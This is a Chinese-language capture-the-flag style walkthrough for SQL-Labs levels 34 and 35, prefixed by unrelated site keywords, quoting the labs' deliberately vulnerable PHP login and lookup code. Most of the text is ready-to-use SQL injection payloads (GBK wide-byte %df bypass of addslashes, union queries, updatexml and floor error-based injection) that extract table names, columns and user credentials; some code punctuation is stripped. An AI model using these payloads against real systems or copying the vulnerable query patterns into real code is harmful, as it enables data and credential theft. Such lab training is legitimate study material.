六安市城市建设档案馆网站,外军网站建设,外贸是做什么的很赚钱吗,港口建设申报网站君衍. 一、34关 POST单引号宽字节注入1、源码分析2、联合查询注入3、updatexml报错注入4、floor报错注入 二、35关 GET数字型报错注入1、源码分析2、联合查询注入3、updatexml报错注入4、floor报错注入 SQL-Labs靶场通关教程#xff1a; SQL注入第一课 SQL注入思路基础 SQL无列… 君衍. 一、34关 POST单引号宽字节注入1、源码分析2、联合查询注入3、updatexml报错注入4、floor报错注入 二、35关 GET数字型报错注入1、源码分析2、联合查询注入3、updatexml报错注入4、floor报错注入 SQL-Labs靶场通关教程 SQL注入第一课 SQL注入思路基础 SQL无列名注入 SQL注入绕过正则及无列名注入 SQL报错注入原理 SQL报错注入 简单的SQL练习联合注入、报错注入 1、SQL-Labs靶场“1-5”关通关教程2、SQL-Labs靶场“6-10”关通关教程 POST提交方式注入 3、SQL-Labs靶场“11-15”关通关教程 HTTP头部注入 4、SQL-Labs靶场“15-20”关通关教程 二次注入 5、SQL-Labs靶场“21-25”关通关教程threehit二次注入案例 一些绕过案例 6、SQL-Labs靶场“26-28”关通关教程 HTTP参数污染攻击 7、SQL-Labs靶场“29-31”关通关教程
一、34关 POST单引号宽字节注入
请求方式注入类型拼接方式POST联合、报错、布尔盲注、延时盲注username‘$uname’
本关其实与33关相似只是使用POST进行传参过滤方法与33关一致所以解法也差不多首先我们依旧是进行测试查看回显 可以看到uname以及passwd都进行了过滤所以我们其实依旧可以使用宽字节注入下面查看源码。
1、源码分析
?php
//including the Mysql connect parameters.
include(../sql-connections/sqli-connect.php);
// take the variables
if(isset($_POST[uname]) isset($_POST[passwd]))
{$uname1$_POST[uname];$passwd1$_POST[passwd];//echo username before addslashes is :.$uname1 .br;//echo Input password before addslashes is : .$passwd1. br;//logging the connection parameters to a file for analysis.$fpfopen(result.txt,a);fwrite($fp,User Name:.$uname1);fwrite($fp,Password:.$passwd1.\n);fclose($fp);$uname addslashes($uname1);$passwd addslashes($passwd1);//echo username after addslashes is :.$uname .br;//echo Input password after addslashes is : .$passwd;// connectivity mysqli_query($con1, SET NAMES gbk);$sqlSELECT username, password FROM users WHERE username$uname and password$passwd LIMIT 0,1;$resultmysqli_query($con1, $sql);$row mysqli_fetch_array($result, MYSQLI_BOTH);if($row){···echo Your Login name:. $row[username];···echo Your Password: .$row[password];···}else {···//echo Try again looser;print_r(mysqli_error($con1));···}
}
?这里我们只需要看以下代码
$uname addslashes($uname1);
$passwd addslashes($passwd1);使用 addslashes 函数对用户名和密码进行转义处理。剩下的代码与第32关相同。依旧是查询到的话输出查询到的信息查不到的话输出报错信息所以联合查询以及报错注入依旧可以尝试使用。 所以我们使用Burp抓包进行测试抓包发送到重发器中完成注入。
2、联合查询注入 1、猜字段数 uname1%df order by 3#passwd1submitSubmit我们可以看到没有第三列所以我们为2列。 2、测试观察回显内容 uname-1%df union select 1,2#passwd1submitSubmit3、爆出数据库中所有表的名称 uname-1%df union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#passwd1submitSubmit4、爆出数据库中表的列名 uname-1%df union select 1,group_concat(column_name) from information_schema.columns where table_name0x656D61696C73#passwd1submitSubmit同样的上面是使用十六进制进行查询下面我们使用子查询进行查询。
uname-1%df union select 1,group_concat(column_name) from information_schema.columns where table_name(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)#passwd1submitSubmit5、爆出数据 uname-1%df union select 1,group_concat(id,0x3a,email_id) from emails#passwd1submitSubmit下面我们看users表中的内容。
uname-1%df union select 1,group_concat(id,username,0x3a,password) from users#passwd1submitSubmit即可完成注入。
3、updatexml报错注入 1、爆出该数据库名 uname1%df and updatexml(1,concat(0x7e,database(),0x7e),1)#passwd1submitSubmit2、爆出该数据库中的所有表名 uname1%df and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x7e),1)#passwd1submitSubmit3、爆出数据库中表表名下的列名 uname1%df and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)),0x7e),1)#passwd1submitSubmit同样的当limit为3,1时我们就可查询出users表中的列名。 4、爆出users表中的数据 uname1%df and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#passwd1submitSubmit即可完成updatexml报错注入。
4、floor报错注入 1、爆出当前数据库名 uname1%df or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#passwd1submitSubmit2、爆出当前数据库下的所有表名 uname1%df or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#passwd1submitSubmit3、爆出当前数据库表名下的列名 uname1%df or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name (select table_name from information_schema.tables where table_schemadatabase() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#passwd1submitSubmituname1%df or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name (select table_name from information_schema.tables where table_schemadatabase() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#passwd1submitSubmit即可查出users表的列名。 4、爆出数据 uname1%df or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#passwd1submitSubmit即可完成floor报错注入。
二、35关 GET数字型报错注入
请求方式注入类型拼接方式GET联合、报错、布尔盲注、延时盲注id$id
同样的使用1单引号进行测试 可以看到直接报了错我们使用1进行尝试发现可以查询成功 同时我们使用宽字节注入测试即可看到 我们便可以猜测是闭合方式不是单引号测试其他依旧相同所以我们查看源码。
1、源码分析
?php
//including the Mysql connect parameters.
include(../sql-connections/sqli-connect.php);
function check_addslashes($string)
{$string addslashes($string);return $string;
}
// take the variables
if(isset($_GET[id]))
{
$idcheck_addslashes($_GET[id]);
//echo The filtered request is : .$id . br;
//logging the connection parameters to a file for analysis.
$fpfopen(result.txt,a);
fwrite($fp,ID:.$id.\n);
fclose($fp);
// connectivity
mysqli_query($con1, SET NAMES gbk);
$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;
$resultmysqli_query($con1, $sql);
$row mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo Your Login name:. $row[username];echo Your Password: .$row[password];}else {print_r(mysqli_error($con1));}
}else { echo Please input the ID as parameter with numeric value;}
?源码发现和35关差不多依旧是使用addslashes来进行过滤但是本关其实挺搞笑的闭合方式直接不加使用数字型所以不用使用宽字节注入我们只需要不适用单引号、双引号、反斜线就行。
2、联合查询注入
所以我们下面注入就正常注入不适用单双引号就行。 1、猜字段 ?id1 order by 4--
?id1 order by 3--2、测试观察回显 ?id-1 union select 1,2,3--3、爆出该数据库下的所有表名称 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--4、爆出表的列名 ?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name0x656D61696C73--使用16进制进行查询下面使用子查询
?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)--5、爆出数据 ?id-1 union select 1,group_concat(id,username,0x3a,password),3 from users--即可完成注入。
3、updatexml报错注入 1、爆出当前数据库名称 ?id1 and updatexml(1,concat(0x7e,database(),0x7e),1)--2、爆出该数据库下的所有表名 ?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x7e),1)--3、爆出数据库表下的列名 ?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)),0x7e),1)--4、爆出数据 ?id1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--即可完成updatexml报错注入。
4、floor报错注入 1、爆出数据库名 ?id1 or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--2、爆出数据库名下的表名 ?id1 or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--3、爆出当前数据库表下的列名 ?id1 or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name (select table_name from information_schema.tables where table_schemadatabase() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--4、爆出数据 ?id1 or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--即可完成floor报错注入。